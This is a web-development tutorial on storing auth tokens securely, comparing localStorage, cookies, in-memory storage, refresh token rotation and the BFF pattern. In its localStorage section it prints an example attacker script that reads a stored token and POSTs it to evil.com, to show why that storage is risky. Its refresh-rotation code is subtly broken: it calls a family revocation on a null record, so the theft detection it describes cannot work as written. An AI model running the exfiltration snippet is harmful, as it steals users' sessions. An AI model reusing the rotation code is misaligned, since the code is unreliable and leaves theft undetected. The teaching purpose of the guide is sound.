Secure Token Storage
Your Token Is the Keys to the Kingdom
Every time a user logs in, your app gets a token. That token is the user's identity. Whoever holds it can do anything the user can do — read their data, change their password, delete their account. No second questions asked.
So where you store that token isn't just an implementation detail. It's a security decision that determines whether an attacker who finds a single XSS vulnerability can hijack every active session on your platform.
Most tutorials say "just put it in localStorage" and move on. Let's talk about why that's a terrible idea, what the actual options are, and what production apps at scale really do.
Think of your auth token like a house key. localStorage is leaving that key under the doormat — anyone who knows where to look can grab it. sessionStorage is the same doormat, but it disappears when you close the door. An httpOnly cookie is handing the key to a trusted courier who never shows it to anyone, not even your own JavaScript. The BFF pattern is hiring a security guard who holds all the keys and only lets verified residents through.
The Four Storage Options
Before we compare them, you need to understand two attack vectors that matter here:
- XSS (Cross-Site Scripting) — An attacker injects JavaScript into your page. That script can read anything your JavaScript can read, call any API your app can call, and exfiltrate data to an external server.
- CSRF (Cross-Site Request Forgery) — An attacker tricks the user's browser into making a request to your API from a different site. If the browser automatically attaches credentials (like cookies), the request looks legitimate.
Every storage mechanism trades off between these two threats. There is no option with zero risk — but there's a clear winner.
Option 1: localStorage
localStorage.setItem('access_token', token);
fetch('/api/profile', {
headers: {
Authorization: `Bearer ${localStorage.getItem('access_token')}`
}
});
localStorage persists across tabs and browser restarts. Sounds convenient. Here's the problem: any JavaScript running on your page can read it.
If an attacker finds a single XSS vulnerability — a malicious npm package, a compromised third-party script, an unsanitized user input rendered into the DOM — they can do this:
// Attacker's injected script
const token = localStorage.getItem('access_token');
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ token })
});
Game over. The attacker now has the user's token and can impersonate them from any device, anywhere in the world, until the token expires.
localStorage is readable by any JavaScript on the page, including third-party scripts, browser extensions with page access, and injected XSS payloads. Never store auth tokens here in a production application.
Option 2: sessionStorage
sessionStorage.setItem('access_token', token);
sessionStorage is scoped to a single tab and cleared when the tab closes. That's slightly better than localStorage because the token doesn't persist. But it has the exact same XSS problem — any JavaScript on the page can read it.
Plus, it introduces a UX nightmare: open your app in a new tab, and you're logged out. Refresh the page in some flows, and the token is gone. Users hate this.
Option 3: httpOnly Cookies
Set-Cookie: access_token=eyJhbGci...;
HttpOnly;
Secure;
SameSite=Strict;
Path=/;
Max-Age=900
This is where things get interesting. An httpOnly cookie has one critical property: JavaScript cannot read it. The browser manages it automatically and attaches it to every request to the matching domain.
That means an XSS attack can't steal the token. The attacker's script can call document.cookie all day long — the httpOnly cookie won't show up.
But cookies introduce a different risk: CSRF. Because the browser attaches cookies automatically, a malicious site could trick the user's browser into making requests with valid credentials. That's why the SameSite attribute matters.
SameSite=Strict means the cookie is only sent on requests originating from the same site. No cross-origin requests get the cookie at all. This effectively eliminates CSRF for most cases.
SameSite=Lax is slightly more permissive — it sends cookies on top-level navigations (like clicking a link) but blocks them on cross-origin POST requests and embedded resources.
Option 4: In-Memory (JavaScript Variable)
let accessToken = null;
async function login(credentials) {
const res = await fetch('/api/login', {
method: 'POST',
body: JSON.stringify(credentials)
});
const data = await res.json();
accessToken = data.token;
}
Storing the token in a JavaScript variable means it lives only in the current page's memory. It's not persisted anywhere, so it survives neither page refreshes nor new tabs.
The XSS story is nuanced here. The token isn't in a predictable location like localStorage, so a generic "steal all storage" attack won't find it. But a targeted XSS attack can still read JavaScript variables in scope, hook into your fetch wrapper, or intercept API responses. It's harder to exploit, but not impossible.
The real downside is persistence. Every refresh, every new tab, every browser crash means the user has to re-authenticate. That's unacceptable for most production apps unless you pair it with a silent refresh mechanism.
The Comparison
| Storage Method | XSS Safe? | CSRF Safe? | Persists Refresh? | Multi-Tab? | Verdict |
|---|---|---|---|---|---|
| localStorage | No — fully readable by JS | Yes — not sent automatically | Yes | Yes | Never for auth tokens |
| sessionStorage | No — fully readable by JS | Yes — not sent automatically | No | No | Never for auth tokens |
| httpOnly cookie | Yes — invisible to JS | Needs SameSite + CSRF token | Yes | Yes | Recommended |
| In-memory variable | Partially — harder to steal | Yes — not sent automatically | No | No | Only with silent refresh |
The clear winner for most applications is httpOnly cookies with SameSite=Strict (or Lax) and Secure. Let's talk about how to set them up properly.
The Recommended Setup: httpOnly SameSite Cookies
A proper cookie-based auth setup looks like this on the server side:
// Server: POST /api/login
app.post('/api/login', async (req, res) => {
const user = await authenticate(req.body);
const accessToken = generateAccessToken(user); // short-lived: 15min
const refreshToken = generateRefreshToken(user); // long-lived: 7 days
res.cookie('access_token', accessToken, {
httpOnly: true,
secure: true, // HTTPS only
sameSite: 'strict',
maxAge: 15 * 60 * 1000, // 15 minutes
path: '/',
});
res.cookie('refresh_token', refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
path: '/api/auth', // only sent to auth endpoints
});
res.json({ user: user.profile });
});
Notice a few things:
- Two tokens, two cookies. The access token is short-lived (15 minutes). The refresh token lasts longer but is scoped to
/api/authso it's only sent to the refresh endpoint — not to every API call. secure: trueensures the cookie is only sent over HTTPS. Without this, a network attacker on public WiFi could intercept the token.sameSite: 'strict'prevents the browser from sending the cookie on any cross-origin request, eliminating most CSRF attacks.
On the client side, you don't touch the token at all. Your fetch calls just work:
// Client: The browser attaches the cookie automatically
const res = await fetch('/api/profile', {
credentials: 'include' // tells fetch to send cookies
});
const user = await res.json();
Refresh Token Rotation
Short-lived access tokens are great because even if one is compromised, the damage window is small — 15 minutes, and it's useless. But that means users would get logged out every 15 minutes without a refresh mechanism.
Refresh token rotation solves this. The idea is simple: every time the client uses the refresh token to get a new access token, the server also issues a new refresh token and invalidates the old one.
// Server: POST /api/auth/refresh
app.post('/api/auth/refresh', async (req, res) => {
const oldRefreshToken = req.cookies.refresh_token;
// Verify and find the token in the database
const tokenRecord = await db.refreshTokens.findOne({
token: oldRefreshToken,
revoked: false
});
if (!tokenRecord) {
// This token was already used or doesn't exist.
// Possible token theft — revoke the entire family.
await db.refreshTokens.revokeFamily(tokenRecord?.familyId);
res.clearCookie('access_token');
res.clearCookie('refresh_token');
return res.status(401).json({ error: 'Session expired' });
}
// Revoke the old refresh token
await db.refreshTokens.revoke(oldRefreshToken);
// Issue new tokens
const newAccessToken = generateAccessToken(tokenRecord.user);
const newRefreshToken = generateRefreshToken(tokenRecord.user, {
familyId: tokenRecord.familyId // same family for theft detection
});
// Store the new refresh token
await db.refreshTokens.create(newRefreshToken);
res.cookie('access_token', newAccessToken, {
httpOnly: true, secure: true, sameSite: 'strict',
maxAge: 15 * 60 * 1000, path: '/'
});
res.cookie('refresh_token', newRefreshToken.token, {
httpOnly: true, secure: true, sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000, path: '/api/auth'
});
res.json({ success: true });
});
The critical detail here is token families. Each refresh token belongs to a "family" — a chain that started at login. If a revoked token is used again (meaning someone stole the old one), you revoke the entire family, forcing the user to re-login on all devices. This is how you detect token theft.
Think of refresh token rotation like a chain of one-time passwords. Each password lets you get the next one, but once you use it, it's burned. If someone else tries to use your burned password, the system knows something is wrong and shuts everything down.
Silent Refresh
Your users shouldn't see any of this happening. The refresh flow needs to be invisible. Here's how to implement silent refresh on the client:
let refreshPromise = null;
async function fetchWithAuth(url, options = {}) {
const res = await fetch(url, {
...options,
credentials: 'include'
});
if (res.status === 401) {
// Avoid multiple parallel refresh attempts
if (!refreshPromise) {
refreshPromise = fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include'
}).finally(() => {
refreshPromise = null;
});
}
const refreshRes = await refreshPromise;
if (refreshRes.ok) {
// Retry the original request with the new cookie
return fetch(url, { ...options, credentials: 'include' });
}
// Refresh failed — redirect to login
window.location.href = '/login';
throw new Error('Session expired');
}
return res;
}
Two things to notice:
- Deduplication. If three API calls fail with 401 simultaneously (common when the access token expires mid-page), only one refresh request is sent. The others wait for the same promise.
- Automatic retry. After a successful refresh, the original request is retried transparently. The user never knows it happened.
Solving the Multi-Tab Problem
The quiz above highlights a real production issue. Here's a practical solution using BroadcastChannel:
const authChannel = new BroadcastChannel('auth');
let refreshPromise = null;
authChannel.onmessage = (event) => {
if (event.data.type === 'TOKEN_REFRESHED') {
// Another tab already refreshed — just retry our requests
retryPendingRequests();
}
if (event.data.type === 'SESSION_EXPIRED') {
window.location.href = '/login';
}
};
async function refreshToken() {
if (refreshPromise) return refreshPromise;
refreshPromise = fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include'
}).then(res => {
if (res.ok) {
authChannel.postMessage({ type: 'TOKEN_REFRESHED' });
return true;
}
authChannel.postMessage({ type: 'SESSION_EXPIRED' });
return false;
}).finally(() => {
refreshPromise = null;
});
return refreshPromise;
}
Now when one tab refreshes, it broadcasts to all other tabs. They skip the refresh and just retry their failed requests with the new cookie.
The BFF Pattern: How the Big Players Do It
If you're building a single-page application that talks to third-party APIs or microservices, there's an even better approach: the Backend for Frontend (BFF) pattern.
The idea is simple but powerful: your frontend never sees tokens at all. Instead, a lightweight backend acts as a proxy between your SPA and the actual APIs.
Browser ←→ BFF (your server) ←→ Auth Server / APIs
| |
| session | access_token
| cookie | (server-side only)
| (httpOnly) |
Here's how it works:
- The user logs in. The BFF handles the OAuth flow with the auth server.
- The BFF receives the access token and refresh token. It stores them in server-side session storage (Redis, database, encrypted file) — never sends them to the browser.
- The BFF sets a session cookie (httpOnly, Secure, SameSite) on the browser. This cookie identifies the session but contains no token data.
- When the frontend makes an API call, it goes through the BFF. The BFF looks up the session, retrieves the stored access token, and forwards the request to the actual API with the token attached.
- If the access token is expired, the BFF refreshes it server-side using the stored refresh token. The browser is never involved.
// BFF: Proxy API requests
app.use('/api/*', async (req, res) => {
const sessionId = req.cookies.session_id;
const session = await sessionStore.get(sessionId);
if (!session) {
return res.status(401).json({ error: 'Not authenticated' });
}
let { accessToken, refreshToken } = session;
// Check if access token is expired
if (isExpired(accessToken)) {
const refreshed = await authServer.refresh(refreshToken);
accessToken = refreshed.accessToken;
// Update stored tokens (rotation happens server-side)
await sessionStore.update(sessionId, {
accessToken: refreshed.accessToken,
refreshToken: refreshed.refreshToken
});
}
// Forward the request to the actual API
const apiRes = await fetch(`https://api.example.com${req.path}`, {
method: req.method,
headers: {
...req.headers,
Authorization: `Bearer ${accessToken}`
},
body: req.body
});
const data = await apiRes.json();
res.status(apiRes.status).json(data);
});
Why the BFF pattern is becoming the standard
The BFF pattern eliminates an entire class of token-related vulnerabilities:
- No tokens in the browser. XSS can't steal what isn't there. The browser only has an opaque session ID in an httpOnly cookie.
- Server-side refresh. No multi-tab race conditions, no BroadcastChannel hacks, no client-side refresh logic. The server handles everything.
- Token isolation. If you're calling multiple APIs with different tokens (common in microservice architectures), the BFF manages all of them. The frontend doesn't need to know which API needs which token.
- Centralized security logic. Rate limiting, token validation, request signing — it all lives in one place on the server, not scattered across client-side code that anyone can inspect.
Next.js API routes or Route Handlers work perfectly as a BFF. You're already running a server — use it.
Token Expiry Strategy
Getting token lifetimes right is a balancing act between security and user experience:
| Token | Lifetime | Why |
|---|---|---|
| Access token | 5-15 minutes | Short enough that a stolen token has limited use. Long enough to avoid constant refreshing |
| Refresh token | 1-7 days | Long enough for reasonable sessions. Short enough that stolen refresh tokens expire before causing too much damage |
| Session cookie (BFF) | Until browser closes, or 24 hours | Tied to server-side session. Can be revoked instantly server-side |
Never make access tokens long-lived. A common mistake is setting a 24-hour access token to "reduce server load from refresh requests." That's optimizing the wrong thing. A stolen 24-hour access token gives an attacker a full day of unrestricted access.
Some developers store the token expiry time in localStorage or a JavaScript variable and check it before each request to avoid unnecessary 401s. This is a client-side optimization, not a security measure. The server must always validate the token independently. A tampered client could easily fake the expiry check.
What About JWTs Specifically?
JWTs add a twist because they're stateless — the server doesn't need to look them up in a database to verify them. The token itself contains all the claims (user ID, roles, expiry), signed with a secret.
This is convenient but creates a problem: you cannot revoke a JWT before it expires. Once issued, it's valid until expiry. If a user's JWT is stolen, you can't invalidate it server-side (unless you maintain a blocklist, which defeats the "stateless" benefit).
That's exactly why short-lived access tokens are critical with JWTs. The access token (JWT) lives for 15 minutes and is stateless for performance. The refresh token is opaque (not a JWT) and stored in a database so it can be revoked.
Access Token (JWT):
- Stateless verification (no DB lookup)
- 15-minute expiry
- Contains: userId, roles, permissions
- Cannot be revoked
Refresh Token (opaque string):
- Stateful (stored in DB)
- 7-day expiry
- Contains: random string only
- Can be revoked instantly
Putting It All Together
Here's the decision tree for choosing your token storage strategy:
-
Can you control the backend? If yes, use httpOnly cookies. If you're using a third-party auth service that only returns tokens in the response body, consider the BFF pattern.
-
Is it an SPA talking to multiple APIs? Use the BFF pattern. Your frontend gets a session cookie, the BFF manages all API tokens server-side.
-
Is it a simple app with a single API? httpOnly cookies with
SameSite=Strict,Secure, short-lived access tokens, and refresh token rotation. -
Is it a server-rendered app (Next.js, Remix)? You already have a server. Use it for token management. Server components can read httpOnly cookies directly — no client-side token handling needed.
- 1Never store auth tokens in localStorage or sessionStorage — both are fully accessible to any JavaScript on the page, including XSS payloads
- 2Use httpOnly, Secure, SameSite cookies for token storage — JavaScript cannot read them, eliminating the most common token theft vector
- 3Keep access tokens short-lived (5-15 minutes) and use refresh token rotation — even stolen tokens become useless quickly
- 4Implement token family tracking to detect refresh token theft — if a revoked token is reused, revoke the entire family
- 5For SPAs with complex auth needs, use the BFF pattern — tokens never reach the browser at all
- 6Always validate tokens server-side regardless of client-side expiry checks — the client cannot be trusted
- 7Handle multi-tab refresh coordination with BroadcastChannel to prevent token family revocation from concurrent refresh attempts
| What developers do | What they should do |
|---|---|
| Storing JWTs in localStorage for convenience localStorage is readable by any JavaScript on the page. A single XSS vulnerability exposes every user's auth token. | Store tokens in httpOnly cookies or use the BFF pattern |
| Using long-lived access tokens (24h+) to reduce refresh requests Long-lived tokens give attackers a large window of access if stolen. Short tokens with refresh rotation limit the damage window to minutes. | Use 5-15 minute access tokens with automatic silent refresh |
| Checking token expiry only on the client side Client-side checks are easily bypassed. An attacker can modify the expiry check or send expired tokens directly. The server is the only trusted validator. | Always validate tokens server-side on every request |
| Using the same refresh token indefinitely without rotation Without rotation, a stolen refresh token grants indefinite access. Rotation ensures stolen tokens are detected when the legitimate user tries to refresh. | Issue a new refresh token on every use and revoke the old one |
| Setting cookies without Secure and SameSite attributes Without Secure, cookies are sent over HTTP and can be intercepted on public networks. Without SameSite, cookies are vulnerable to CSRF attacks from malicious sites. | Always set httpOnly, Secure, and SameSite=Strict (or Lax) |